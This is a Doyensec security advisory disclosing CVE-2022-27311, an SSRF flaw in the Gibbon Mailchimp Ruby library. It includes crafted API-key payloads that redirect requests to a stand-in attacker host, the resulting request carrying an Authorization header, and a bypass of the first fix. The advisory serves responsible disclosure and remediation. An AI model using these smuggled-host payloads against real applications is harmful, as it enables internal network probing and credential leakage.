DOYENSEC

Security Advisory
For Gibbon

Created by Lorenzo Stella
02/04/2022

WWW.DOYENSEC.COM

@DOYENSEC

Overview

This document summarizes a security issue affecting the Gibbon library (github.com/amro/gibbon), incidentally discovered during a larger vulnerability research activity targeting a Doyensec customer. While security testing was not meant to be comprehensive in term of attack and code coverage for Gibbon, we have identified a vulnerability that could be abused to fire arbitrary requests on the victim's internal network.

Gibbon fixed the issue in version 3.4.4.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

Copyright 2021. Doyensec LLC. All rights reserved.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given. The information in the advisory is believed to be accurate at the time of publishing based on currently available information, and it is provided as-is, as a free service to the community by Doyensec LLC. There are no warranties with regard to this information, and Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

Server-Side Request Forgery In Gibbon, a Mailchimp Integration Library	
Severity	**Medium**
Vulnerability Class	Server-Side Request Forgery (SSRF)
Vendor	https://github.com/amro/gibbon
Component	/lib/gibbon/api_request.rb
Status	Closed for Gibbon > v3.4.4
CVE	CVE-2022-27311
Credits	Lorenzo Stella (Doyensec LLC)

Description

A Server-Side Request Forgery (SSRF) describes the ability of an attacker to create network connections from a vulnerable web application to the internal network and other Internet hosts. Frequently, a SSRF vulnerability is used to attack internal services placed behind a firewall and not directly accessible from the Internet.

Gibbon[1] is an open-source API wrapper for the MailChimp API. In some integrations, it's the user's task to provide to the web platform the API key for the service to set up the Mailchimp client library. In this common scenario, these clients are used by web applications to provide more integrations, allowing their users to provide the API configuration parameters which are passed to the library's constructor functions unfiltered.

A mailchimp access token is usually in the form of:

```
1234567890abcdef0a1b2c3d4e5f6ab1-us20
```

And is passed to Gibbon's constructor as:

```
GibbonClient = Gibbon::Request.new(api_key: params[:user_controlled_access_token])
```

In order to perform the requests and after Gibbon's constructor is called, the `api_key` parameter is analyzed and its last part is used to build the target request host of Mailchimp's target data center (in this case, "`us20`"). This is achieved by splitting the string using the dash '`-`' character (`/lib/gibbon/gibbon_helpers.rb`[2]):

```
module Gibbon
  module Helpers
    def get_data_center_from_api_key(api_key)
```

[1] https://github.com/amro/gibbon

[2] https://github.com/amro/gibbon/blob/f71acf2dc0db88a1c5dffe0801009085e4325982/lib/gibbon/gibbon_helpers.rb#L7-L10

```
      # Return an empty string for invalid API keys so Gibbon hits the main
endpoint
      data_center = ""

      if api_key && api_key["-"]
        # Add a period since the data_center is a subdomain and it keeps things
dry
        data_center = "#{api_key.split('-').last}."
      end

      data_center
    end
  end
end
```

The base API URL is then built in `/lib/gibbon/api_request.rb`:[3]

```
    def base_api_url
      computed_api_endpoint = "https://
#{get_data_center_from_api_key(self.api_key)}api.mailchimp.com"
      "#{self.api_endpoint || computed_api_endpoint}/3.0/"
    end
```

The issue was initially addressed on February 18th 2022 (#321[4]), but a bypass was later discovered on the 22th[5]. A final fix was pushed on version 3.4.4.

Reproduction Steps

An attacker could then abuse this design for SSRF by providing an access token in the form of:

```
1234567890abcdef0a1b2c3d4e5f6ab1-attacker.net/test/?
```

This will trigger the HTTP request using Faraday without any filtering:

```
GET /test/?.api.mailchimp.com/3.0/lists=
Host: attacker.net
Connection: close
Accept-Encoding: gzip
User-Agent: Faraday v0.17.3
Authorization: Basic ...
Content-Type: application/json
```

The initial fix could be bypassed by injecting a FQDN containing `api.mailchimp.com` as a subdomain:

```
2.6.3 :001 > computed_api_endpoint = "https://
foe.api.mailchimp.com.attacker.com/?api.mailchimp.com"
 => "https://foe.api.mailchimp.com.attacker.com/?api.mailchimp.com"
2.6.3 :002 > URI(computed_api_endpoint).host
 => "foe.api.mailchimp.com.attacker.com"
```

[3] https://github.com/amro/gibbon/blob/f71acf2dc0db88a1c5dffe0801009085e4325982/lib/gibbon/api_request.rb#L195-L198

[4] https://github.com/amro/gibbon/pull/321/commits/5d5a61d788037fa84dbbe88678bf78b8b15ca9ca

[5] https://github.com/amro/gibbon/pull/321#issuecomment-1047590371

```
2.6.3 :003 > URI(computed_api_endpoint).host.include?("api.mailchimp.com")
 => true
```

Impact

Medium. By leveraging this vulnerability an attacker can gain information about the local system, internal network, and potentially machines in neighbor networks. The ability to issue arbitrary requests to internal endpoints may also cause unwanted interactions with internal systems.

Complexity

Medium. An attacker just needs to abuse an already existing functionality offered by the web application. The HTTP library in use (*Faraday*) can contact internal hosts and can therefore be abused.

Remediation

The fix landed on Gibbon v3.4.4 and ensures that the API key is well-formed and that the final request is issued to a safe host.

Disclosure Timeline

- 02/04/2022 Initial discovery and first disclosure to a Doyensec customer
- 02/18/2022 First partial fix for the issue in PR https://github.com/amro/gibbon/pull/321/commits/5d5a61d788037fa84dbbe88678bf78b8b15ca9ca
- 02/24/2022 Final fix for the issue in https://github.com/amro/gibbon/commit/cade20ca2438cd1b182dad70cbb77fb895779d10
- 04/25/2022 CVE and Github Advisory are published:
  - CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-27311
  - Github Advisory: https://github.com/advisories/GHSA-vx9g-377x-xwxq

Resources

- OWASP SSRF
  https://www.owasp.org/index.php/Server_Side_Request_Forgery

- Server-Side Request Forgery Prevention Cheat Sheet
  https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html